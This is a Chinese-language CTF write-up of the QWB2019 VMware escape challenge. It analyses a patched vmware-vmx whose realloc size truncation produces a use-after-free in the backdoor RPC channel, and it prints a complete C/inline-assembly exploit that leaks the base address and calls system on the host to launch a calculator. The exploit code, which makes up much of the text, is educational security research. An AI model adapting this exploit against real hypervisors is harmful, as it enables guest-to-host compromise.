首页
活动
社区
学院
安全导航

QWB2019 VMw虚拟机逃逸wp

阅读量266229

|

发布时间 : 2021-06-23 10:00:29

 

0x00前言

​ 近期学习利用Vmware的backdoor机制进行虚拟机逃逸的攻击手法，借助RWCTF2018 station-excape的相关资料学习了解，以及在其exp的基础上进行调试修改，实现了QWB2019 VMw的虚拟机逃逸，第一次做这方面的工作，以此博客记录一下逆向、调试过程中的收获。
​ 相关资料链接贴在前面：r3kapig有关RWCTF2018 station-excape的详细wp，其中也有关于backdoor机制的详细介绍，膜一波大佬们。

 

0x01题目分析

文件

​ 以我所了解到的，一般虚拟机逃逸类的题目都会给以个虚拟机环境（没错就是虚拟机套虚拟机），然后给一个patch过的组件，本题就是vmware-vmx-patched。
​ 用010editor进行比对。比对结果如下。

​ 发现patch后的组件与原版本的组件有三处区别。IDA打开后，跳转到三处地址查看改动。第一处改动将jz改为jmp无条件跳转。

​ 第二处将跳转条件由ja改为jnb。即大于改为大于等于。

​ 第三处将realloc传参时size由dword改为word，即四字节变为两字节。

​ 分析到这里就感觉这是关键漏洞点了，realloc（ptr,size）函数当size为0时功能相当于free（ptr）。再看一下伪代码。

​ 这段代码在处理 Send_RPC_command_length 过程中，在发送 RPC_Command 前会先发送 RPC commad 的长度，接收size值后，会先判断是否大于0x10000，然后判断是否大于RPCI结构体中记录的size，注意这些比较都时以四字节int的比较，但是在给 realloc 传参数的时候却以word，即两字节传入，会导致一个问题是，如果发送的size=0xffff，可以通过第一步size<=0x10000检查，并且在 realloc 传参时，LOWORD（v31）= (0xffff+1) & 0xffff ，即 v31=0 。

分析到这里，攻击思路如下，先Send_RPC_command_length 设置一个size，然后 Send_RPC_command_length，size=0xffff ，即将前面申请的堆块释放，并且指针残留在了RPCI结构体中，造成UAF的可能。

IDA静态分析

​ Vmx可执行文件中处理rpc指令的函数为下图函数，地址为0x189370

​ 其中的符号为我手动添加。其中的getrpccap函数功能为获取rpc通信数据包，、根据参数不同获取rpc数据包中内容、大小等属性该函数共有六个case，与rpc六个指令一一对应：

Case 0，open channel：

该功能比较简短，读取了发来的rpc包里的magicnumber

然后在后面进行了cookie的设置和时间的设置

Case 01 set len

​ 该指令的内容部分对应的是长度，长度在接受包的时候就已经经过处理，如果超长会直接处理成-1，但后面也有个比较，推测这里是开发人员在扩展开发时未删减的部分。同时，在最开始会有个对fe9584处标志位的判断，推测为包内容错误的判断标志位，若内容接受出错则直接结束。下面有个对设置长度和现有长度的判断，若接受长度比现有长度小就会调用注册的函数表中错误处理的部分。比现有长度大则会进入空间扩展，会调用realloc进行堆操作,修改rpc结构中的数据缓冲区指针。

Case 02 send data

​ 该case开头先调用函数获取了命令包的内容，v21参数里面存的就是发送的内容，内容一次最多四字节，v22里面是打开的channel的命令数据缓冲区，后面会判断chanell的状态，如果不是待读取状态是不会开始读取的。读取时会根据发送时指定的长度来进行复制。

​ 可以看到把我们发送的四个字节指令（在rbp中）复制到了rdx指向的地址中

​ 复制完后会把rpc结构体的一个代表未接收长度的属性减去接收的值，如果已经接收完了，会根据一个类似虚表的东西来调用对应的命令处理函数，然后把rpc状态修改为1。

​ 该函数的参数为指令本身以及指令长度，寻址方式为将命令与存在表中的字符串比较，找到对应的处理函数，调用以进行处理

安装函数的函数为下面这个，地址为0x114866

​ 存储字符串指针的表位置为0x111df80,存储函数的位置也在附近，不过寻址方式不太一样。存储区域比较大。在执行指令时，会申请一个0x20大小的堆

​ 寻址函数地址为0x177d61

Case 03 reply length

​ 该case 功能为发送给客户机返回数据的长度

​ 功能也比较简单，得到对应channel 的执政，判断是否为接受完数据的状态，然后设置发送长度和发送数据缓冲区

Case 04 reply data

​ 这个功能为发送执行指令后的返回数据

​ 开头也是获得channel指针，然后设置channel的发送缓冲区和发送长度，一次同样只能发送四字节，如果最后不够就会发送剩余长度的数据

​ 最后会把rpc的状态修改为发送完毕

Case 05 finish receive reply

​ 该功能为结束接受返回信息。读取rpc指针，判断是否为发送完毕状态，然后会设置状态为1，完成状态闭环，出错的时候会有错误处理，输出错误提示

Case 06 close channel

​ 该功能为关闭channel，获取rpc指针后判断其数据区指针是否为空，为空说明它非开启状态，不为空就调用函数进行关闭处理。

小结

​ 这部分分析是为了理清backdoor机制中host与guest的交互机制，尤其是涉及到内存分配与回收操作的部分，以及patch部分代码要尤其关注，漏洞点一定是在patch代码附近，以本样本为例，主要部分为 case 01 set len ,尤其注意 realoc（） 函数。

 

0x02 EXP编写

leak

​ 经过静态分析和调试的验证，仿照Real World CTF 2018 Finals Station-Escape的思路编写EXP。

​ 首先分析本次逃逸的漏洞点与先前的区别，Rwctf的逃逸样本UAF发生在output申请到的堆块，即info-set guestinfo.a xxx，在调用info-get是会申请对应xxx大小的堆块作为缓冲区存放xxx内容，而QWB的逃逸样本漏洞点出在Send RPC command length中申请的堆块。

​ 所以leak基地址思路与rwctf类似。使用run_cmd（info-set guestinfo.a xxx），预设一个0x100的guestinfo.a。

​ 打开一个channel_0，先通过Send RPC command length申请一个0x100大小的堆块。

​ 然后打开channel_1，发送info-get guestinfo.a 命令，这里有一个小tip，Send RPC command data 时每次发送四个字节，并且在接收完完整的command后才会执行命令，为了防止Send RPC command data 的过程中有其他堆操作影响漏洞利用，先send command的前strlen（command）- 4个字节，然后channel_0发送Send RPC command length，设置size为0xffff，释放掉channel_0中申请的0x100堆块到tcache[0x110]的头。

​ 发送完info-get guestinfo.a 命令后，会malloc(strlen(guestinfo.a))，作为output缓冲区，因为此时tcache[0x110]头是我们刚刚释放的channel_0的command块，会将该块分配出来作为输出缓冲区，但是 channel_0_struct_RPCI->heap_ptr 中仍保存了堆指针，此时 guestinfo.a = channel_0_struct_RPCI->heap_ptr。

​ 然后下一步就是与rwctf相同的思路，再次释放该堆块到tcache[0x110]头，利用 vmx.capability.dnd_version ，将obj申请到guestinfo.a的output缓冲区，利用obj中的vtable泄露testbase。

exploit

​ 利用过程同样类似，打开channel_0的用来申请一个size0的堆块，释放后用channel_1申请回来，然后channel_0再次释放，造成UAF，利用channel_1来写入数据，修改tcache的fd，造成任意地址写，channel_2申请一次，channel_3申请到伪造fd处。

​ 那么如何伪造fd。调试中发现，在 后，会 call [r8+rax*1+0x8] ，并且第一个参数 rdi = [rdi+rax] 。

Rdi与r8寄存器中地址相近，rax=0，那么如果将fd伪造到r8处，在r8+8处写入system地址，rdi处写入 gnome-calculator\x00 即可弹出计算器。

最后效果演示：（妈妈我也会弹计算器了！）

 

完整exp

#include <stdio.h>
#include <stdint.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x49435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
       );
}

void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}

void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
        );
}

void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
       );

}

void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
       );
}

void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
struct channel{
    int cookie1;
    int cookie2;
    int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
    struct channel tmp;
    int res,len,i;
    char *data;
    channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);

    channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to recv finish\n");
    }

    channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to close channel\n");
        return;
    }
}
void leak(){
    struct channel chan[10];
    int res=0;
    int len,i;    
    char pay[8192];
    char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *data;
    char *s2 = "info-get guestinfo.a";
    char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s4 = "tools.capability.dnd_version 4";
    char *s5 = "vmx.capability.dnd_version";
    //init data
    run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
    run_cmd(s4);


    //first step 
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&res);//strlen(s21) = 0x100
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i++){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    //second step free the reply and let the other channel get it.

    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }

    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    //free the output buffer
    printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish1\n");
        return;
    }
    //finished sending the command, should get the freed buffer
    printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    //third step,free it again
    //set status to be 4


    //free the output buffer
    printf("Free the buffer again...\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);

    if(!res){
        printf("fail to recv finish2\n");
        return;
    }

    printf("Trying to reuse the buffer as a struct, which we can leak..\n");
    getchar();
    run_cmd(s5);
    printf("Should be done.Check the buffer\n");
    getchar();

    //Now the output buffer of chan[1] is used as a struct, which contains many addresses
    channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }


    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res);
    }
    printf("recv data:\n");
    for(i=0;i<len;i+=8){
        printf("recv data:%lx\n",*(long long *)&data[i]);
    }
    text = (*(uint64_t *)data)-0xf818d0;
    channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    printf("Leak Success\n");
}

void exploit(){
    //the exploit step is almost the same as the leak ones
    struct channel chan[10];
    int res=0;
    int len,i;
    char *data;
    char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s2 = "info-get guestinfo.b";
    char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s4 = "gnome-calculator\x00";
    uint64_t pay1 =text+0xFE95B8; 
    uint64_t pay2 =text+0xECFE0; //system
    uint64_t pay3 =text+0xFE95C8;
    char *pay4 = "gnome-calculator\x00";
    //run_cmd(s1);
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    //channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    printf("leak2 success\n");
    /***
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    ***/
    //channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res);
    channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
    run_cmd(s4);
    if(!res){
        printf("fail to set len\n");
        return;
    }
}
void main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdin,0,2,0);
    leak();
    printf("text base :%p",text);
    getchar();
    exploit();
}

 

tips

​ 在调试的时候会遇到一个问题：如果直接在被攻击机编译运行exp，运行到断点处会卡死，导致鼠标没法从虚拟机中拖出来。所以可以ssh连接到被攻击机，远程运行exp避免这个问题；或者可以在exp中加一行sleep防止卡在虚拟机里。
​ 另外调试时最好将虚拟机最小化，防止不小心把鼠标点到虚拟主机中卡死。

 

总结

​ 第一次调试虚拟机逃逸的题目，逆向分析的过程花了很大一部分时间，最后编写EXP、调试的过程大部分工作都是仿照Real World CTF 2018 Finals Station-Escape进行，最后成功弹出计算器还是有些小激动的，也算是对利用backdoor这个攻击面的第一次尝试，收获很多。

本文由C4oy1原创发布

转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/244454

安全KER - 有思想的安全新媒体

分享到：微信
+17赞
收藏
C4oy1
分享到：微信

发表评论

C4oy1

菜鸡pwn手

  • 文章
  • 5
  • 粉丝
  • 9

TA的文章

相关文章

热门推荐

文章目录
安全KER
商务合作
内容需知
合作单位
  • 安全KER
  • 安全KER
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66